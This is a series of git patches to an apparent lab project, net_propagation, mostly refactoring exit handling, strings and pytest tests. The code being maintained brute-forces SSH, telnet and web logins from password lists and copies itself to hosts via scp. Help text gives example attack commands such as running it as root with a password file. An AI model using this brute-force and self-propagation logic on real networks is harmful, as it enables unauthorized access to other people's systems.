pytest_wrapped_e.value.code == -1 From 7ede149a4fcc8581bb64ed8ab941bafcd1cb30f9 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 10:52:06 +0000 Subject: [PATCH 24/78] [FIX] Another go, remove the codes entirely sure why not --- src/net_propagation.py | 2 +- src/test_net_propagation.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 46ad286..63f53b6 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -406,7 +406,7 @@ def exit_and_show_instructions(): """ print(strings.PLS_HELP) print(strings.EXITING) - sys.exit(-1) + sys.exit() def is_reachable_ip(ip): diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 36bb1db..b01dc45 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -42,7 +42,6 @@ def test_additional_actions(): net_propagation.additional_actions(arguments, ip, port, username, transfer_file_filename) assert pytest_wrapped_e.type == SystemExit - assert pytest_wrapped_e.value.code == -1 def test_file_error_handler(capfd): From 5f248c0eedb44bd530f587d5dba76b20ecf9519d Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 11:00:10 +0000 Subject: [PATCH 25/78] [FIX] Removed sys.exit from low level, need to move to high level --- src/main.py | 3 ++- src/net_propagation.py | 6 +++--- src/test_net_propagation.py | 41 ++++++++++++++++--------------------- 3 files changed, 23 insertions(+), 27 deletions(-) diff --git a/src/main.py b/src/main.py index 562503d..d788eaa 100755 --- a/src/main.py +++ b/src/main.py @@ -27,6 +27,7 @@ def main(): # If there is no arguments then just print the help menu and exit. if arguments.__len__(): net_propagation.exit_and_show_instructions() + sys.exit(-1) # Just initialising this for use later. transfer_file_filename = strings.BLANK_STRING @@ -52,7 +53,7 @@ def main(): # File doesn't exist, alert the user and exit gracefully, so # they can possibly fix their mistake. net_propagation.file_error_handler() - sys.exit() + sys.exit(-1) # If the user wants to transfer a file, this stuff should be done... if strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE in arguments: diff --git a/src/net_propagation.py b/src/net_propagation.py index 63f53b6..cb60a48 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -15,7 +15,6 @@ import logging import requests import strings -import sys """ - Importing modules from scapy for Packet Crafting and Sending / Sniffing. @@ -25,7 +24,6 @@ - Importing logging to safely log sensitive, error or debug info. - Importing requests for web based operations. - Importing strings for use of the external strings resources. - - Importing sys for the system exits. """ """ @@ -93,6 +91,9 @@ def assigning_values(arguments): return ip_list, target_ports, target_username, passwords_filename except RuntimeError: logging.error(strings.ip_list_not_read(ip_addresses_filename)) + # TODO: Need to handle the exit, should be done as high up as + # possible as to not interfere with test flow, ideally in main or + # where-ever these functions are called exit_and_show_instructions() @@ -406,7 +407,6 @@ def exit_and_show_instructions(): """ print(strings.PLS_HELP) print(strings.EXITING) - sys.exit() def is_reachable_ip(ip): diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index b01dc45..bc65d66 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -28,20 +28,18 @@ def test_additional_actions(): script. The goal is to check every service for both good paths and bad paths. """ - with pytest.raises(SystemExit) as pytest_wrapped_e: - arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, - strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] - ip = strings.BLANK_STRING - username = strings.TEST - transfer_file_filename = strings.TEST - ports = [strings.SSH_PORT, strings.TELNET_PORT, - strings.WEB_PORT_EIGHTY, - strings.WEB_PORT_EIGHTY_EIGHTY, - strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] - for port in ports: - net_propagation.additional_actions(arguments, ip, port, username, - transfer_file_filename) - assert pytest_wrapped_e.type == SystemExit + arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, + strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] + ip = strings.BLANK_STRING + username = strings.TEST + transfer_file_filename = strings.TEST + ports = [strings.SSH_PORT, strings.TELNET_PORT, + strings.WEB_PORT_EIGHTY, + strings.WEB_PORT_EIGHTY_EIGHTY, + strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] + for port in ports: + net_propagation.additional_actions(arguments, ip, port, username, + transfer_file_filename) def test_file_error_handler(capfd): @@ -52,12 +50,9 @@ def test_file_error_handler(capfd): fail this test for us. :param capfd: Parameter needed to capture log output. """ - with pytest.raises(SystemExit) as pytest_wrapped_e: - # TODO: Is this test really needed? Investigate removal. - net_propagation.file_error_handler() - out, err = capfd.readouterr() - assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ - + strings.PLS_HELP + "\n" + strings.EXITING + "\n" - - assert pytest_wrapped_e.type == SystemExit - assert pytest_wrapped_e.value.code == -1 + # TODO: Is this test really needed? Investigate removal. + net_propagation.file_error_handler() + out, err = capfd.readouterr() + assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ + + strings.PLS_HELP + "\n" + strings.EXITING + "\n" + From f1131523ef5135face5147c5e50c0fbd5a801c60 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 11:07:45 +0000 Subject: [PATCH 26/78] [FIX] Might have used a blank string instead of blank IP, woops :D --- src/test_net_propagation.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index bc65d66..b02cbfd 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -5,12 +5,10 @@ # what's going on. :) In fact, implement it wherever it can be... (Andrew) import net_propagation -import pytest import strings """ - Importing net_propagation for testing. - - Importing pytest for testing (especially fixing system exits if possible) - Importing strings for common string resources. """ @@ -30,7 +28,7 @@ def test_additional_actions(): """ arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] - ip = strings.BLANK_STRING + ip = strings.BLANK_IP username = strings.TEST transfer_file_filename = strings.TEST ports = [strings.SSH_PORT, strings.TELNET_PORT, From b35fddb2252d44da76e93956cc5a0153bb258cda Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 16:25:34 +0000 Subject: [PATCH 27/78] [FIX] Security and Linting Issues --- src/net_propagation.py | 6 +++--- src/strings.py | 4 ++-- src/test_net_propagation.py | 3 +-- 3 files changed, 6 insertions(+), 7 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index cb60a48..5b42e52 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -457,13 +457,13 @@ def propagate_script(ip, port, login_string): if str(port) == strings.SSH_PORT: # TODO: Need feedback from the end user, should be worked into # the UI itself. Not a dedicated print statement. - print(strings.RSA_AND_PASSWORD) + print(strings.RSA_AND_PROMPT) os.system(strings.scp_command_string(port, login_string_split[0], ip, os.path .basename(__file__))) - print(strings.PLEASE_TYPE_PASSWORD_AGAIN) + print(strings.RSA_PROMPT_AGAIN) os.system(strings.scp_command_string(port, login_string_split[0], ip, @@ -609,7 +609,7 @@ def transfer_file(ip, port, login_string, transfer_file_filename): login_string_split = login_string.split(strings.COLON) try: if str(port) == strings.SSH_PORT: - print(strings.RSA_AND_PASSWORD) + print(strings.RSA_AND_PROMPT) os.system(strings.scp_command_string(port, login_string_split[0], ip, transfer_file_filename)) return True diff --git a/src/strings.py b/src/strings.py index 37ed6b3..ffecf8f 100644 --- a/src/strings.py +++ b/src/strings.py @@ -121,7 +121,7 @@ # TODO: On top of moving this prompt to UI, there should be no difference in # the prompt, avoid confusion. # A different password prompt following the previous one. -PLEASE_TYPE_PASSWORD_AGAIN = "Please type in this password again: " +RSA_PROMPT_AGAIN = "Please type in this password again: " # The help prompt for the end user. # TODO: Update this to use the argument string values above, avoid changes in @@ -141,7 +141,7 @@ RETURN_OR_NEWLINE = "\n" # RSA specific password prompt. -RSA_AND_PASSWORD = "Please type in this password below and say yes to any " \ +RSA_AND_PROMPT = "Please type in this password below and say yes to any " \ "RSA key prompts: " # Specifies that the script has been propagated over a port (use debug for diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index b02cbfd..18951bb 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -45,7 +45,7 @@ def test_file_error_handler(capfd): This function tests the file_error_handler function. Should just run straight through no problem hence why all this function does is run that function and check what shows up in the console, errors or exceptions will - fail this test for us. + fail this test for us :param capfd: Parameter needed to capture log output. """ # TODO: Is this test really needed? Investigate removal. @@ -53,4 +53,3 @@ def test_file_error_handler(capfd): out, err = capfd.readouterr() assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ + strings.PLS_HELP + "\n" + strings.EXITING + "\n" - From 238effc963fd93d6566d338091492466f06597a4 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 16:36:06 +0000 Subject: [PATCH 28/78] [FIX] Woops, missing code --- src/main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main.py b/src/main.py index d788eaa..e52140e 100755 --- a/src/main.py +++ b/src/main.py @@ -69,7 +69,7 @@ def main(): # File doesn't exist, throw an error and give the user a chance to # try again. net_propagation.file_error_handler() - sys.exit() + sys.exit(-1) # Removing duplicate entries in the IP address list, can come from # combining local scan with given IP addresses in an ip address file for # example. From 4f1f9311844ba686c3152f3d1b5aae9794f25bfb Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 12 Mar 2022 10:59:51 +0000 Subject: [PATCH 29/78] [UPDATE] Initial Commit, Changed Feature Branch, Added One/Two Strings --- .github/workflows/codeql-analysis-feature.yml | 4 ++-- .github/workflows/python-app-feature.yml | 4 ++-- src/strings.py | 3 +++ src/test_net_propagation.py | 3 +++ 4 files changed, 10 insertions(+), 4 deletions(-) diff --git a/.github/workflows/codeql-analysis-feature.yml b/.github/workflows/codeql-analysis-feature.yml index f22e2e9..1e95dd1 100644 --- a/.github/workflows/codeql-analysis-feature.yml +++ b/.github/workflows/codeql-analysis-feature.yml @@ -13,10 +13,10 @@ name: "CodeQL - Feature" on: push: - branches: [ 17_adding_strings ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] pull_request: # The branches below must be a subset of the branches above - branches: [ 17_adding_strings ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] schedule: - cron: '34 22 * * 4' diff --git a/.github/workflows/python-app-feature.yml b/.github/workflows/python-app-feature.yml index 2ad8e3f..8b2a1ff 100644 --- a/.github/workflows/python-app-feature.yml +++ b/.github/workflows/python-app-feature.yml @@ -5,9 +5,9 @@ name: Python Application - Feature on: push: - branches: [ 17_adding_strings ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] pull_request: - branches: [ 17_adding_strings ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] jobs: build: diff --git a/src/strings.py b/src/strings.py index ffecf8f..b78380c 100644 --- a/src/strings.py +++ b/src/strings.py @@ -34,6 +34,9 @@ # Argument to denote the need for further help, just the long version. ARGUMENT_HELP_LONG = "--help" +# +ASSIGNING_ARGUMENTS = "Assigning arguments as part of test" + # Blank IP addresses, mostly for test purposes. BLANK_IP = "0.0.0.0" diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 18951bb..66b19b4 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -6,6 +6,7 @@ import net_propagation import strings +import logging """ - Importing net_propagation for testing. @@ -26,8 +27,10 @@ def test_additional_actions(): script. The goal is to check every service for both good paths and bad paths. """ + logging.info(strings.ASSIGNING_ARGUMENTS) arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] + logging.info(strings.SETTING_BLANK_IP) ip = strings.BLANK_IP username = strings.TEST transfer_file_filename = strings.TEST From dd2c13332bd06eb8d3955cc7fa0ca13895664714 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 12 Mar 2022 11:31:30 +0000 Subject: [PATCH 30/78] [UPDATE] Added argument parameter strings to help text and reformatted --- src/strings.py | 38 +++++++++++++++++++++++++------------- 1 file changed, 25 insertions(+), 13 deletions(-) diff --git a/src/strings.py b/src/strings.py index b78380c..e664238 100644 --- a/src/strings.py +++ b/src/strings.py @@ -127,25 +127,34 @@ RSA_PROMPT_AGAIN = "Please type in this password again: " # The help prompt for the end user. -# TODO: Update this to use the argument string values above, avoid changes in -# multiple places when needed. -PLS_HELP = "Parameters:\n\t-t -> Filename for a file containing a list of " \ - "target IP addresses\n\t-p -> Ports to scan on the target host" \ - "\n\t-u -> A username\n\t-f -> Filename for a file containing " \ - "a list of passwords\n\t-L -> Scans the lan across all " \ +PLS_HELP = "Parameters:\n\t" + ARGUMENT_IP_ADDRESS_FILENAME + \ + " -> Filename for a file containing a list of " \ + "target IP addresses\n\t" + ARGUMENT_PORTS + \ + " -> Ports to scan on the target host" \ + "\n\t" + ARGUMENT_USERNAME + " -> A username\n\t" + \ + ARGUMENT_PASSWORDS_FILENAME + \ + " -> Filename for a file containing " \ + "a list of passwords\n\t" + ARGUMENT_SCAN_LOCAL_NETWORKS + \ + " -> Scans the lan across all " \ "interfaces and creates/adds to the list of target IP addresses" \ - "\n\t-P -> Propagates the script onto available devices and " \ + "\n\t" + ARGUMENT_PROPAGATE + \ + " -> Propagates the script onto available devices and " \ "executes the script using the given command\nExample usage:\n" \ - "\t./net_attack.py -t my_ip_list.txt -p 22,23,25,80 -u admin " \ - "-f my_password_list.txt\n\n\t./net_attack.py -t ip_list.txt " \ - "-p 22 -u root -f passwords.txt" + "\t./net_attack.py " + ARGUMENT_IP_ADDRESS_FILENAME + \ + " my_ip_list.txt " + ARGUMENT_PORTS + " 22,23,25,80 " + \ + ARGUMENT_USERNAME + " admin " \ + + ARGUMENT_PASSWORDS_FILENAME + \ + " my_password_list.txt\n\n\t./net_attack.py " + \ + ARGUMENT_IP_ADDRESS_FILENAME + " ip_list.txt " \ + + ARGUMENT_PORTS + " 22 " + ARGUMENT_USERNAME + " root " + \ + ARGUMENT_PASSWORDS_FILENAME + " passwords.txt" # Newline character, mostly used to mimic an enter key press. RETURN_OR_NEWLINE = "\n" # RSA specific password prompt. RSA_AND_PROMPT = "Please type in this password below and say yes to any " \ - "RSA key prompts: " + "RSA key prompts: " # Specifies that the script has been propagated over a port (use debug for # specific port number). @@ -154,6 +163,9 @@ # Specifies that the script hasn't been propagated over a port. SCRIPT_NOT_PROPAGATED = "Script couldn't be propagated over this port" +# Setting blank IP address, used in tests. +SETTING_BLANK_IP_ADDRESS = "Setting a blank IP address" + # Just an SSH strings, memory saving measures again. SSH = "SSH" @@ -258,7 +270,7 @@ def connection_status(service, ip, port, status): string = str(status) + " " + str(service) + " login to " + str(ip) + ":" \ + str(port) \ + " using the specified username with a password in the " \ - "passwords file." + "passwords file." return string @@ -392,5 +404,5 @@ def working_username_password(service): :return "A working username and password for " + str(service) + " was found.": The string itself """ - return "A working username and password for " + str(service) +\ + return "A working username and password for " + str(service) + \ " was found." From 2b059f5c934a4b7d9151cf2ddd3be1119335a765 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 12 Mar 2022 11:33:34 +0000 Subject: [PATCH 31/78] [FIX] Wrong constant name --- src/strings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/strings.py b/src/strings.py index e664238..3d94b81 100644 --- a/src/strings.py +++ b/src/strings.py @@ -164,7 +164,7 @@ SCRIPT_NOT_PROPAGATED = "Script couldn't be propagated over this port" # Setting blank IP address, used in tests. -SETTING_BLANK_IP_ADDRESS = "Setting a blank IP address" +SETTING_BLANK_IP = "Setting a blank IP address" # Just an SSH strings, memory saving measures again. SSH = "SSH" From f7f9ea2577dacde12fda8dcdb0067d0bb4026ae1 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 12 Mar 2022 12:01:09 +0000 Subject: [PATCH 32/78] [UPDATE] Started new test, created the test_file.txt file --- src/net_propagation.py | 44 ++++++++++++++++++------------------- src/strings.py | 3 +++ src/test_file.txt | 0 src/test_net_propagation.py | 31 ++++++++++++++++++++++---- 4 files changed, 52 insertions(+), 26 deletions(-) create mode 100644 src/test_file.txt diff --git a/src/net_propagation.py b/src/net_propagation.py index 5b42e52..0366f28 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -97,28 +97,6 @@ def assigning_values(arguments): exit_and_show_instructions() -def sign_in_service(ip, port, username, password_list): - """ - This function will run through every password in the password list and will - attempt to sign in to the appropriate service with that password. It will - only move on to the next password in the event that the current password - fails in its sign in attempt. If it succeeds then the successful login - details are returned, if not then Null is returned - :param ip: The IP address to attempt to sign in to - :param port: The port and subsequently service we're signing in to - :param username: The username we're signing in to services on - :param password_list: The list of passwords to attempt - :return login_details: The username and password to return - :return None: Only done to indicate an unsuccessful task - """ - for password in password_list: - login_details = (try_password_for_service(ip, port, username, - password)) - if login_details != strings.BLANK_STRING: - return login_details - return None - - def check_over_ssh(ip, port, username, password): """ This function checks if the net_propagation.py script is already located at @@ -574,6 +552,28 @@ def send_post_request_with_login(ip, port, username, password): return None +def sign_in_service(ip, port, username, password_list): + """ + This function will run through every password in the password list and will + attempt to sign in to the appropriate service with that password. It will + only move on to the next password in the event that the current password + fails in its sign in attempt. If it succeeds then the successful login + details are returned, if not then Null is returned + :param ip: The IP address to attempt to sign in to + :param port: The port and subsequently service we're signing in to + :param username: The username we're signing in to services on + :param password_list: The list of passwords to attempt + :return login_details: The username and password to return + :return None: Only done to indicate an unsuccessful task + """ + for password in password_list: + login_details = (try_password_for_service(ip, port, username, + password)) + if login_details != strings.BLANK_STRING: + return login_details + return None + + def telnet_connection(ip, port, username, password): """ This function will try to establish a telnet connection, if it does it will diff --git a/src/strings.py b/src/strings.py index 3d94b81..dfcb5e8 100644 --- a/src/strings.py +++ b/src/strings.py @@ -190,6 +190,9 @@ # A stringing just for tests. TEST = "tests" +# Name of the test text file. +TEST_FILENAME = "test_file.txt" + # Letting the user know an IP address and port pair is being tested. Again, # use the debug tools in your IDE of choice to see the specific values. TESTING_IP_PORT_PAIR = "Now testing an IP address and port pair..." diff --git a/src/test_file.txt b/src/test_file.txt new file mode 100644 index 0000000..e69de29 diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 66b19b4..8efacf2 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -1,6 +1,4 @@ #!/usr/bin/python3 -# TODO: Finish this test by checking assert for console output in the bad path -# and start the good path. (Andrew) # TODO: Implement proper logging for tests. Not much point if we don't know # what's going on. :) In fact, implement it wherever it can be... (Andrew) @@ -23,7 +21,7 @@ def test_additional_actions(): """ - This function tests the additional_actions method in the net_propagation + This function tests the additional_actions function in the net_propagation script. The goal is to check every service for both good paths and bad paths. """ @@ -38,11 +36,37 @@ def test_additional_actions(): strings.WEB_PORT_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] + # TODO: Finish this test by checking assert for console output in the bad + # path and start the good path. (Andrew) for port in ports: net_propagation.additional_actions(arguments, ip, port, username, transfer_file_filename) +def test_append_lines_from_file_to_list(): + """ + This function tests the append_lines_from_file_to_list function in the + net_propagation script. It feeds in a test file, and we check the result it + returns for validity. + """ + lines_list = net_propagation.append_lines_from_file_to_list( + strings.test_filename) + logging.info(lines_list) + + +def test_exit_and_show_instructions(capfd): + """ + This function tests the exit_and_show_instructions function. + Should just run straight through no problem hence why all this function + does is run that function and check what shows up in the console, errors or + exceptions will fail this test for us + :param capfd: Parameter needed to capture log output. + """ + net_propagation.exit_and_show_instructions() + out, err = capfd.readouterr() + assert out == strings.PLS_HELP + "\n" + strings.EXITING + "\n" + + def test_file_error_handler(capfd): """ This function tests the file_error_handler function. Should just run @@ -51,7 +75,6 @@ def test_file_error_handler(capfd): fail this test for us :param capfd: Parameter needed to capture log output. """ - # TODO: Is this test really needed? Investigate removal. net_propagation.file_error_handler() out, err = capfd.readouterr() assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ From 21e0ecf2b8cb48c65bf9662b9f62140e85a403cf Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sun, 13 Mar 2022 12:56:20 +0000 Subject: [PATCH 33/78] [FIX] Typo on TEXT_FILENAME and --- src/net_propagation.py | 2 +- src/strings.py | 8 ++++---- src/test_net_propagation.py | 4 ++-- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 0366f28..898f707 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -86,7 +86,7 @@ def assigning_values(arguments): target_username = \ arguments[arguments.index(strings.ARGUMENT_USERNAME) + 1] passwords_filename = \ - arguments[arguments.index(strings.ARGUMENT_PASSWORDS_FILENAME) + arguments[arguments.index(strings.ARGUMENT_PWS_FILENAME) + 1] return ip_list, target_ports, target_username, passwords_filename except RuntimeError: diff --git a/src/strings.py b/src/strings.py index dfcb5e8..da1d411 100644 --- a/src/strings.py +++ b/src/strings.py @@ -17,7 +17,7 @@ ARGUMENT_USERNAME = "-u" # Argument to denote the filename of the passwords file. -ARGUMENT_PASSWORDS_FILENAME = "-f" +ARGUMENT_PWS_FILENAME = "-f" # Argument to denote the need to propagate the running script. ARGUMENT_PROPAGATE = "-P" @@ -132,7 +132,7 @@ "target IP addresses\n\t" + ARGUMENT_PORTS + \ " -> Ports to scan on the target host" \ "\n\t" + ARGUMENT_USERNAME + " -> A username\n\t" + \ - ARGUMENT_PASSWORDS_FILENAME + \ + ARGUMENT_PWS_FILENAME + \ " -> Filename for a file containing " \ "a list of passwords\n\t" + ARGUMENT_SCAN_LOCAL_NETWORKS + \ " -> Scans the lan across all " \ @@ -143,11 +143,11 @@ "\t./net_attack.py " + ARGUMENT_IP_ADDRESS_FILENAME + \ " my_ip_list.txt " + ARGUMENT_PORTS + " 22,23,25,80 " + \ ARGUMENT_USERNAME + " admin " \ - + ARGUMENT_PASSWORDS_FILENAME + \ + + ARGUMENT_PWS_FILENAME + \ " my_password_list.txt\n\n\t./net_attack.py " + \ ARGUMENT_IP_ADDRESS_FILENAME + " ip_list.txt " \ + ARGUMENT_PORTS + " 22 " + ARGUMENT_USERNAME + " root " + \ - ARGUMENT_PASSWORDS_FILENAME + " passwords.txt" + ARGUMENT_PWS_FILENAME + " passwords.txt" # Newline character, mostly used to mimic an enter key press. RETURN_OR_NEWLINE = "\n" diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 8efacf2..91aa708 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -50,9 +50,9 @@ def test_append_lines_from_file_to_list(): returns for validity. """ lines_list = net_propagation.append_lines_from_file_to_list( - strings.test_filename) + strings.TEST_FILENAME) logging.info(lines_list) - + def test_exit_and_show_instructions(capfd): """ From 0d43b55f87f194ecb400ad45cef2a3779d9ca715 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 14 Mar 2022 09:40:24 +0000 Subject: [PATCH 34/78] [UPDATE] Working on two new tests, broken for now, will fix later --- src/main.py | 12 ++++++++++-- src/net_propagation.py | 26 +++++++++++++++----------- src/strings.py | 14 +++++++++++--- src/test_file.txt | 6 ++++++ src/test_net_propagation.py | 33 ++++++++++++++++++++++----------- 5 files changed, 64 insertions(+), 27 deletions(-) diff --git a/src/main.py b/src/main.py index e52140e..3a9ef80 100755 --- a/src/main.py +++ b/src/main.py @@ -33,8 +33,16 @@ def main(): transfer_file_filename = strings.BLANK_STRING # Validating and assigning values based on arguments passed in. - ip_list, target_ports, target_username, passwords_filename = \ - net_propagation.checking_arguments(arguments) + valid_values = net_propagation.checking_arguments(arguments) + # If they are valid values... + if valid_values is not None: + # Assign them... + ip_list, target_ports, target_username, passwords_filename = \ + valid_values + # Else... + else: + # Show the user instructions and exit gracefully. + net_propagation.exit_and_show_instructions() # The end user specified a local scan must be executed, the result of the # local scan will extend the current ip_list. diff --git a/src/net_propagation.py b/src/net_propagation.py index 898f707..c72007f 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -74,11 +74,15 @@ def assigning_values(arguments): :return target_ports: The selection of ports to target :return target_username: The username that will be used for actions :return passwords_filename: The filename of the passwords file + :return None: If a runtime error occurs """ if strings.ARGUMENT_IP_ADDRESS_FILENAME in arguments: - ip_addresses_filename = \ - arguments[ - arguments.index(strings.ARGUMENT_IP_ADDRESS_FILENAME) + 1] + try: + ip_addresses_filename = \ + arguments[ + arguments.index(strings.ARGUMENT_IP_ADDRESS_FILENAME) + 1] + except RuntimeError: + logging.error(strings.IP_FILENAME_NOT_FOUND) try: ip_list = convert_file_to_list(ip_addresses_filename) target_ports = arguments[ @@ -91,10 +95,7 @@ def assigning_values(arguments): return ip_list, target_ports, target_username, passwords_filename except RuntimeError: logging.error(strings.ip_list_not_read(ip_addresses_filename)) - # TODO: Need to handle the exit, should be done as high up as - # possible as to not interfere with test flow, ideally in main or - # where-ever these functions are called - exit_and_show_instructions() + return None def check_over_ssh(ip, port, username, password): @@ -194,6 +195,7 @@ def checking_arguments(arguments): :return values[1]: Ports and subsequently services to target :return values[2]: Username to target :return values[3]: Filename for a file containing passwords + :return None: If the values can't be assigned. """ if ((strings.ARGUMENT_IP_ADDRESS_FILENAME or strings.ARGUMENT_SCAN_LOCAL_NETWORKS in arguments) and @@ -203,14 +205,16 @@ def checking_arguments(arguments): arguments): try: values = assigning_values(arguments) - return values[0], values[1], values[2], values[3] - + if values is not None: + return values[0], values[1], values[2], values[3] + logging.error(strings.FAILED_ASSIGNING_VALUES) + return None except RuntimeError: logging.error(strings.FAILED_ASSIGNING_VALUES) - exit_and_show_instructions() + return None else: logging.error(strings.PARAMETER_MISUSE) - exit_and_show_instructions() + return None def connect_ssh_client(ip, port, username, password): diff --git a/src/strings.py b/src/strings.py index da1d411..f2b880f 100644 --- a/src/strings.py +++ b/src/strings.py @@ -163,9 +163,6 @@ # Specifies that the script hasn't been propagated over a port. SCRIPT_NOT_PROPAGATED = "Script couldn't be propagated over this port" -# Setting blank IP address, used in tests. -SETTING_BLANK_IP = "Setting a blank IP address" - # Just an SSH strings, memory saving measures again. SSH = "SSH" @@ -193,6 +190,17 @@ # Name of the test text file. TEST_FILENAME = "test_file.txt" +# Lines to check from the test file. +TEST_LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " + "do eiusmod tempor", "incididunt ut labore et dolore magna " + "aliqua. Ut enim ad minim veniam, quis", + "nostrud exercitation ullamco laboris nisi ut aliquip ex ea " + "commodo consequat.", "Duis aute irure dolor in reprehenderit " + "in voluptate velit esse cillum dolore", + "eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non" + " proident, sunt", "in culpa qui officia deserunt mollit anim id" + " est laborum."] + # Letting the user know an IP address and port pair is being tested. Again, # use the debug tools in your IDE of choice to see the specific values. TESTING_IP_PORT_PAIR = "Now testing an IP address and port pair..." diff --git a/src/test_file.txt b/src/test_file.txt index e69de29..59a9bdd 100644 --- a/src/test_file.txt +++ b/src/test_file.txt @@ -0,0 +1,6 @@ +Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor +incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis +nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. +Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore +eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt +in culpa qui officia deserunt mollit anim id est laborum. \ No newline at end of file diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 91aa708..48a02eb 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -1,10 +1,7 @@ #!/usr/bin/python3 -# TODO: Implement proper logging for tests. Not much point if we don't know -# what's going on. :) In fact, implement it wherever it can be... (Andrew) import net_propagation import strings -import logging """ - Importing net_propagation for testing. @@ -22,13 +19,12 @@ def test_additional_actions(): """ This function tests the additional_actions function in the net_propagation - script. The goal is to check every service for both good paths and bad - paths. + script. Currently, the function only calls two other functions, so this + test uses the bad path in both to run through once. Good paths are tested + in the two functions own tests. """ - logging.info(strings.ASSIGNING_ARGUMENTS) arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] - logging.info(strings.SETTING_BLANK_IP) ip = strings.BLANK_IP username = strings.TEST transfer_file_filename = strings.TEST @@ -36,8 +32,6 @@ def test_additional_actions(): strings.WEB_PORT_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] - # TODO: Finish this test by checking assert for console output in the bad - # path and start the good path. (Andrew) for port in ports: net_propagation.additional_actions(arguments, ip, port, username, transfer_file_filename) @@ -47,11 +41,28 @@ def test_append_lines_from_file_to_list(): """ This function tests the append_lines_from_file_to_list function in the net_propagation script. It feeds in a test file, and we check the result it - returns for validity. + returns for validity. Each line is checked independently without a for loop + for readability in test results i.e we'll be able to correlate a specific + line with an error. """ lines_list = net_propagation.append_lines_from_file_to_list( strings.TEST_FILENAME) - logging.info(lines_list) + assert lines_list[0] == strings.TEST_LINES[0] + assert lines_list[1] == strings.TEST_LINES[1] + assert lines_list[2] == 